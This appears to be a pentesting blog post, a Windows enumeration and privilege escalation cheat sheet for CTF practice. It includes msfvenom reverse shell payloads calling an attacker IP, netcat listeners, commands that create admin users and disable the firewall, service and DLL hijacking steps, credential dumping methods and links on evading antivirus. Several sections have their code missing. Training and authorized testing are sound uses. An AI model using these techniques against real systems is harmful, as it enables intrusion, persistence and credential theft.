Windows penetration testing is one of the grey area where many beginner penetration testers struggles with. It is irony that most of us use windows for our day-to-day tasks but when it comes to penetration testing, we are more comfortable with Linux. The reason for this disparity in skills is because of the availability of numerous CTFs and resources available for Linux. Since Windows is not open source and it comes with a licensing cost, we see a fewer Windows CTFs for practice. HackTheBox is one ofthe great resource for practicing Windows penetration testing for free. If you are one of those people who fear windows enumeration and privilege escalation, this blog is for you. In this blog we are going to look into Windows penetration testing and also try to draw an analogy with its Linux counterpart wherever possible.

Enumeration

Basic enumeration commands

Since Windows is known for its interactive GUI, its command line is very less utilized. In this section we will look into some basic windows command to kick off our enumeration.

CommandDescription
whoamiEquivalent to Linux's whoami. Returns the name of currently logged in user
systeminfoSimilar to uname -a

Returns various system information including installed "Hot-fixes". This is particularly important for finding privilege escalation vector
hostnameReturns the machine name
dir /rList all the directories (including hidden and ADS)
echo %path%Similar to echo $PATH in linux
setReturns the list of environment variables. Similar to env in linux
tree /a /fGet the list of folders and files in tree structure. Very important command during enumeration phase
ipconfig /allReturns the IP address of all the interfaces along with the MAC
type file.txt

Get-Content file.txt (powershell)
Read the file content
copy Copy the file
del /f filenameDelete the file
findstr /si password *.txtSearch a particular word (e.g. 'password) within the file with particular extension (e.g. txt, ini, xml)
findstr /b /s unattend.xmlSearch the location of particular file in current and all sub directories (/s)
net usersReturns the list of users on the system
net user Information about the user
net localgroup AdministratorsGet the list of administrators
net localgroupReturns the list of groups on the system
net shareGet the list of locally shared drives
net user /addAdd a new user. (make sure password is complex so that it follows password policy if any)
net localgroup administrators /addMake a user an administrator
route printPrint the routing table
arp /APrint the ARP cache. It returns the IP address along with its respective MAC
netstat /antoReturns the network statistics. Look for loopback services and other hosts with which the machine is interacting with
wmic qfe get Caption,Description,HotFixID,InstalledOnFind the list of installed hot-fixes. Use findstr to identify the missing hot-fixes. e.g. wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB4012212" /C:"KB4012215"
sc stop|start ""Start/Stop the service
NetSh Advfirewall set allprofiles state off (on newer versions)

netsh firewall set opmode disable (on older versions)
Disable Windows firewall
tasklistGet list of running processes
taskill /IM /fKill the service
shutdown /r /t 0Restart the system
timeCheck current time
powershell get-content file.txt -Stream hidden.txtRead the alternate data stream (ADS)
Get-Acl file | fl *Get the file permission using powershell

Checking each of the above commands manually is tedious and takes lot of time. There is a batch script which automates the enumeration and provides the result in a nice readable format. This script can be downloaded from here. Upload this script on the target machine and run it to automate the enumeration process. There is also a powershell alternative of this script which can be downloaded from here.



Privilege Escalation

This is one of the area where most of the beginner pentesters are afraid off. In this section, we will see some of the basic privilege escalation vectors on Windows machine and different ways to exploit them. Below are list of some common privilege escalation techniques:

  1. Missing Patches
  2. Stored Credentials
  3. Pass The Hash
  4. Group Policy Preferences
  5. Token Manipulation
  6. Secondary Logon Handle
  7. Unquoted Service
  8. Insecure Registry Permissions
  9. Intel SYSRET
  10. Always Install Elevated
  11. DLL injection
  12. DLL Hijacking
  13. Weak/insecure Service Permission
  14. Insecure File/Folder Permissions

1. Missing Patches and Kernel Exploits

Windows OS receives the security updates at regular interval. If the system is not updated, there is a good chance that a critical security patch might be missing.  Once we have the list of missing patch, we can use the relevant exploit to escalate our privilege. There are different ways to check for missing patches:

WMIC

Metasploit

Once we have the meterpreter shell on Windows machine, we can use the post/windows/gather/enum_patches module to enumerate for missing patches.

Sherlock

There is a great powershell script from Rasta Mouse called Sherlock with uses the Microsoft database for list of latest patches and checks if the system has all of them installed. Upload the Sherlock.ps1 file on the target machine and run the check using PowerShell.exe Find-AllVulns.

Windows Exploit Suggester

There is a python script which enumerates the windows machine and suggest the possible exploit. The script can be found here.

Compilation is one of the pain while dealing with Windows kernel exploit. There is an excellent github repository where we can find many pre-compiled windows exploit.

Note: Be extra cautious before using any of these pre-compiled exploits. Using these exploits can be fine for CTFs but for real pentest engagements, it is not advisable.

2. Stored Credentials

Stored credentials can be found at multiple locations like unintended installation (unattend.xml, sysprep.inf, sysprep.xml), configuration files (vnc.ini, ultravnc.ini, web.config), 3rd party softwares (SiteList.xml for McAfee, VNC, Putty) and registry. Below are the few ways to find stored credentials.

Powersploit

This is a collection of various powershell modules to help in different stages of penetration testing. This script can be downloaded from here. Different modules which help to dump the stored credentials are

  • Get-UnattendedInstallFile
  • Get-Webconfig
  • Get-ApplicationHost
  • Get-SiteListPassword
  • Get-CachedGPPPassword
  • Get-RegistryAutoLogon
Metasploit

Once we have the meterpreter shell, we can use the following metasploit modules to dump the stored credentials

  • post/windows/gather/credentials/gpp
  • post/windows/gather/enum_unattend
  • post/windows/gather/credentials/windows_autologin
Manual

Look into the registry for auto-logon credentials

This enumeration script mentioned earlier can also enumerate for stored credentials and dump them in a file.

3. Pass The Hash

In windows environment, LM/NTLM hash is used to authenticate to the remote server instead of plain text password. If we have the administrator access on the windows system, we can dump the hash from the memory using the tools like Windows Credential Editor (wce.exe) and fgdump.exe. Both the tools are available in the default Kali installation.

4. Group Policy Preferences (GPP)

This method is applicable for the systems present in Active Directory Domain environment. One of the functionality of Group Policy Preferences is to change the local administrator password of the systems connected to the domain environment. Groups.xml file on the domain controller stores the encrypted password. This file is stored at the location \\<DOMAIN>\SYSVOL\. Once we have the decrypted password, we can have local administrator level access on the other systems connected to the domain. Below are the different ways to exploit this issue.

Manual
  1. Check if SYSVOL share can be mounted: net use z: \\<DOMAIN>\SYSVOL
  2. Check if Groups.xml file exists: dir /s Groups.xml
  3. Open Groups.xml file and copy the attribute cpassword
  4. Decrypt cpassword using gpp-decrypt utility present in Kali
Powersploit

Use the following Powersploit modules to exploit the gpp

  • Get-CachedGPPPassword
  • Get-GPPPassword
Metasploit

Once we have the meterpreter shell, we can use the post/windows/gather/credentials/gpp post exploitation module to test for vulnerable gpp

5. Token Manipulation

This method is applicable in case when we have compromised a service running as NT AUTHORITY\Network Service. There are various ways to escalate or privilege from Network Service to SYSTEM.

Metasploit
  1. Download rottenpotato.exe from here
  2. Using meterpreter shell, upload the exe to the victim machine
  3. Use the following commands from meterpreter shell

Powersploit

Use the following modules for token impersonation

  • Invoke-TokenManipulation -Enumerate
  • Invoke-TokenManipulation -ImpersonateUser -UserName “SystemName\Administrator”
Manual-1
  1. Download potato.exe from here
  2. Upload the executable to the victim
  3. Execute the following command to add a user to administrator group

Manual-2
  1. Download MSFRottenPotato.exe/LonelyPotato from here
  2. Create a reverse shell payload using: msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 > shell.exe
  3. Upload MSFRottenPotato.exe and shell.exe to the victim
  4. Open the netcat listener on the attacker machine: nc -nlvp 443
  5. Execute the exploit to get back the reverse shell: C:\MSFRottenPotato.exe shell.exe * shell.exe



6. Secondary Logon Handle

This exploit requires the Remote Desktop Connection to the victim machine. Check if target is vulnerable

Metasploit

use the following metasploit module to exploit this vulnerability exploit/windows/local/ms16_032_secondary_logon_handle_privesc

Powershell

Download the powershell exploit script from here and execute the script. This will open a new command prompt with the privilege of “NT AUTHORITY/SYSTEM”.

Manual

Download the exploit binary from here and execute it. This will open a new command prompt with the privilege of “NT AUTHORITY/SYSTEM”.

7. Unquoted Service

This method requires the restart of vulnerable service. Below are the different ways to exploit this issue

Manual
  1. Find the services running without quotes
  2. Identify the privilege of service running by using services.msc: wmic service get name,displayname,pathname,startmode |findstr /i “auto” |findstr /i /v “c:\windows\\” |findstr /i /v “””
  3. Check if the normal user is having write access to the directory where service’s executable is located or in another previous directory. BUILTIN\Users should have RX or Full (F) privilege: icacls “C:\Program Files(x86)\Servicename”
  4. Generate a payload using msfvenom and add the malicious exe in the  path: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=AttackerIP LPORT=AttackerPort -f exe -o shell.exe
  5. Open the meterpreter listener on the attacker
  6. Restart the service
Metasploit

Once we have the meterpreter session, use the following command to exploit this vulnerability. If everything goes ok, we will get a new meterpreter session with elevated privilege.

Powersploit
  1. Get the list of all the unquoted services: Get-ServiceUnquoted
  2. Generate a payload using msfvenom (shell.exe) as mentioned earlier
  3. Replace the existing service with the malicious service to get the shell with administrator privilege: Write-ServiceBinary -Name “ServiceName from above command” -Path “Path\adduser.exe”
  4. Open the meterpreter listener on the attacker
  5. Restart the service

8. Insecure Registry Permissions

  1. Download subinacl.exe from here.
  2. Check the permission for HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services using subinacl.exe /keyreg 
  3. For the service to be vulnerable, check for the following: Key and SubKey – Type of Access: Full Control
  4. modify the registry to include malicious executable link: reg add “HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\ServiceName” /t REG_EXPAND_SZ /v SomeKey /d “C:\Payload.exe” /f

9. Intel SYSRET

Metasploit
  1. Download the sysret.exe from here.
  2. Upload it using existing meterpreter session: upload /root/sysret.exe
  3. Escalate the privilege by executing the exploit and attaching it to the current process

Manual
  1. Upload the sysret.exe to the victim
  2. Get the process ID of the explorer.exe using tasklist
  3. Escalate the privilege by executing the exploit and attaching it to the explorer.exe process: sysret.exe -pid 1234

10. Always Install Elevated

Manual
  • Look for the installer (.msi) with elevated privileges

  • Generate a malicious .msi using msfvenom

  • Upload the malicious msi to victim machine
  • Execute the msi [/quiet = Suppress any messages to the user during installation; /qn = No GUI; /i = Regular (vs. administrative) installation]

Metasploit

Once we have the meterpreter shell, use the exploit/windows/local/always_install_elevated post exploitation module to escalate the privilege.

PowerSploit

Use the following powersploit module for privilege escalation using AlwaysInstallElevated policy setting.

  • Import-Module Privesc
  • Get-RegistryAlwaysInstallElevated
  • Write-UserAddMSI

11. DLL injection

Manual
  • Download the RemoteDLLInjector from here.
  • Create a malicious dll using msfvenom (payload.dll)
  • Upload the malicious dll
  • Inject the malicious dll to the vulnerable process using: RemoteDLLInjector64.exe 1234 C:\payload.dll
Metasploit

Use the metasploit post/windows/manage/reflective_dll_inject post exploitation module to escalate the privilege.

Powersploit

12. DLL Hijacking

This vulnerability exploits the weak permissions on the folders. If a vulnerable service is running with administrator privilege, a dll of the service can be replaced with the malicious dll to escalate the privilege. Before exploiting this issue, we need to know the order in which dll path is searched before getting loaded. This will help us to take the decision regarding where to place our malicious dll payload. Below is the order in which the dlls are loaded:

  1. Application directory
  2. C:\Windows\System32 (System directory)
  3. C:\Windows\System (16-bit System directory)
  4. C:\Windows
  5. Current working directory
  6. System PATH environment variables
  7. User PATH environment variables
Manual
  • Look for the non-default directory in the “C:\” folder
  • Look for non-default directories in PATH environment variable and check for the write access to the folder
  • Use the tool process monitor to look for the process with missing dll. Create a reverse shell dll and place it in the appropriate directory as mentioned above.

Powersploit

Note: A restart of vulnerable service is required to execute the malicious dll

13. Weak/insecure Service Permission

If the low privileged user has the write permission to the directories where application executable are stored, the genuine binaries can be replaced with the malicious executable files and it will lead to escalation of privileges if the service is running as administrator. Below are the different ways to exploit this issue

Manual

Use accesschk.exe to list all the services that a particular user can modify. Look for “SERVICE_ALL_ACCESS” permissions

Check the status of the service. Look for “SERVICE_START_NAME : LocalSystem” and “BINARY_PATH_NAME

Modify the service to create a new user and add it to local administrator group

Restart the service

Powersploit

If the user has write permission into the folder where the binary of the service is located, then it is possible to just replace the binary with the a custom payload and then restart the service in order to escalate privileges.

Metasploit

If we have a meterpreter session, we can use the metasploit post exploitation module exploit/windows/local/service_permissions to automatically exploit this vulnerability and escalate our privilege.

14. Insecure File/Folder Permissions

Look for files and folders for full access (F). Use ‘M’ for modify access.

Upload accesschk.exe to find writable folders and files

accesschk.exe with can be downloaded from here. Replace the existing executable with the malicious payload and restart the service.

Some automated resources for windows privilege escalation and exploit suggestion are

Few repositories with important windows binaries and exploits



Utilities

People coming from Linux background often face difficulty in executing basic tasks in Windows environment like file transfer and reverse shell. Windows is completely different environment and we don’t have the luxury of rich Linux utilities like wget, curl, python etc.  In this section we will look into some common utilities and tasks which people frequently face during their pentest engagements.

Windows payload generation

.aspx payload. meterpreter listener required on attacker side
msfvenom -p windows/meterpreter/reverse_tcp LHOST=attackerIP LPORT=attackerPort -f aspx

.exe non staged payload for 64-bit system. nc listener required on attacker side
msfvenom -p windows/x64/shell_reverse_tcp LHOST=attackerIP LPORT=attackerPort -f exe -a x64 -o shell.exe

.exe payload for 32-bit system. meterpreter listener required on attacker side
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=attackerIP LPORT=attackerPort -f exe -o shell.exe

.msi payload which will execute a reverse shell executable (shell.exe)
msfvenom -p windows/exec cmd=”C:\Users\testuser\AppData\Local\Temp\shell.exe” -f msi-nouac -o  payload.msi

.msi payload which will add a new user
msfvenom -f msi-nouac -p windows/adduser USER=<username> PASS=<password> -o payload.msi

.dll payload for 64-bit system. meterpreter listener required on attacker side
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attackerIP LPORT=attackerPort -f dll -o shell.dll

.bin payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attackerIP LPORT=attackerPort -f raw -o test.bin

Reverse Shell

asp/aspx

Generate the payload using msfvenom and upload it to the victim

powershell

nishang

  • Invoke-PowerShellTcp.ps1 is a reverse shell written in powershell. Download the script from here.
  • Upload Invoke-PowerShellTcp.ps1 to the victim.
  • Open a netcat listener on the attacker machine to get the shell back

netcat

Upload the nc.exe to the victim machine and execute the following to get the reverse shell

perl

php

File Transfer

If we have a shell on windows machine, there are multiple ways to transfer file from the attacker to the victim machine.

vbscript

Paste the following list of commands in shell obtained on windows machine. This will generate a visual basic script for file transfer. This script can also be downloaded from here.

A web server must be running on the attacker machine. Use the following command to transfer the file from attacker to victim

powershell

Single liner

Generate a file transfer script in powershell. Paste the following commands in windows terminal. Modify the attackerIP, attackerPort and filename to the desired value.

After generating the file transfer script(wget.ps1), execute the script to transfer the file.

ftp

If ftp client is available on the windows machine, attacker machine can open a ftp server for file transfer. Use the following command to transfer the file. Modify the attackerIP, attackerPort, filename, attackerUsername and attackerPassword to the desired value.

smb

Create a SMB server on attacker machine. Download the script from here.
Run the script by providing the share name and share directory.

On the windows machine, use the following powershell command to receive the file. Modify the attackerIP and shareName to the desired value.

Web Shell

Upload the asp/aspx web shell with file upload option on the server. They can be downloaded from here.

windows remote management ( winrm )

Use this ruby script to transfer the file via winrm.

Using macro for RCE and download files

Generate the reverse shell payload (reverseShell.exe) using msfvenom

Working with remote desktop (RDP)

Create your own user
net user $username $password /add

Add user to administrator group
net localgroup administrators $username /add

Add new user to the “Remote Desktop Users” group
net localgroup “Remote Desktop Users” $username /add

Access the system via RDP on Kali
rdesktop -g 90% IP

Enable RDP via metasploit
use the module post/windows/manage/enable_rdp

Port Forwarding

  • Upload plink.exe. This executable can be found in default Kali installation.
  • Start SSH on attacker machine
  • Expose internal service (eg SMB) using plink.exe -l root -pw password -R 445:127.0.0.1:445 attackerIP

Shell using SMB

Like SSH in Linux, SMB service is exposed on most of the windows machine be it servers or workstations. For a pentester, it is important to know the SMB capabilities and how to utilize them during the course of pentesting. To give an analogy, consider you find a SSH server running on a Linux machine. Some of the ideas which come to our minds are login via SSH if we find any credentials, port forwarding, file transfer e.t.c. Similarly on windows machine, we can get the shell if we have the credentials/hash. Below are some of the techniques to get remote code execution/reverse shell using SMB.

Metasploit smb login

Use the metasploit module auxiliary/scanner/smb/smb_login  and windows/smb/psexec to get the shell. psexec allow us to pass the compromised credentials and authenticate to another Domain machine.

CrackMapExec

Download the script from here. Replace the IP, domain, username and password with the appropriate value.

winexe/pth-winexe

This script is available in default installation of Kali. Replace the IP, domain, username and password with the appropriate value.

psexec.py

Download the script from here. Replace the IP, domain, username and password with the appropriate value.

smbexec.py

Download the script from here. Replace the IP, domain, username and password with the appropriate value.

wmiexec.py

Download the script from here. Replace the IP, domain, username and password with the appropriate value.

smbclient

Download the script from here. Replace the IP, domain, username and password with the appropriate value.

Working with SMB

Connect to SMB to test the credentials

Check if we have administrator access admin shares e.g. “C$”, or “ADMIN$”

Check for the mapped drives

Terminate all the sessions

Mount the admin share once we have admin credentials

Using the credentials

There is no “su” in windows so we cannot switch between different users if we have the credentials. We can use powershell to use the credentials to execute the commands or get the reverse shell as the different user

Location of temp folder

C:\Users\%username%\AppData\Local\Temp\ or %temp%

Meterpreter session getting terminated?

When a service starts in Windows OS, it must communicate with the Service Control Manager (SCM). If the service is not communicating, SCM terminates the process. Migrate to another process before the SCM terminates our payload

Windows Management Instrumentation (WMI)

WMI is the infrastructure for management data and operations on Windows-based operating systems. It is somewhat similar to SNMP.

Extract zip using powershell

Create a new firewall rule

Testing for live host after getting the shell for pivoting

LFI list for windows

https://github.com/infosec-au/fuzzdb/blob/master/attack-payloads/lfi/common-windows-files.txt

Extracting hashes fro ntds.dit file

https://blog.ropnop.com/extracting-hashes-and-domain-info-from-ntds-dit/

Anti Virus evasion

https://pentest.blog/art-of-anti-detection-1-introduction-to-av-detection-techniques/
https://pentest.blog/art-of-anti-detection-2-pe-backdoor-manufacturing/
https://www.toshellandback.com/2015/09/30/anti-virus/

In this blog I tried to touch various areas of windows penetration testing. I hope this article was informative. Share this if you found it useful. Subscribe to the mailing list to get updated with my latest post. Feel free to post your comments and feedback.

Happy Learning 🙂

Author: roguesecurity

The author is a security engineer with interest in cloud technologies, application development and DevOps.

4 Thoughts on “A guide for windows penetration testing”

Leave a Reply

Your email address will not be published.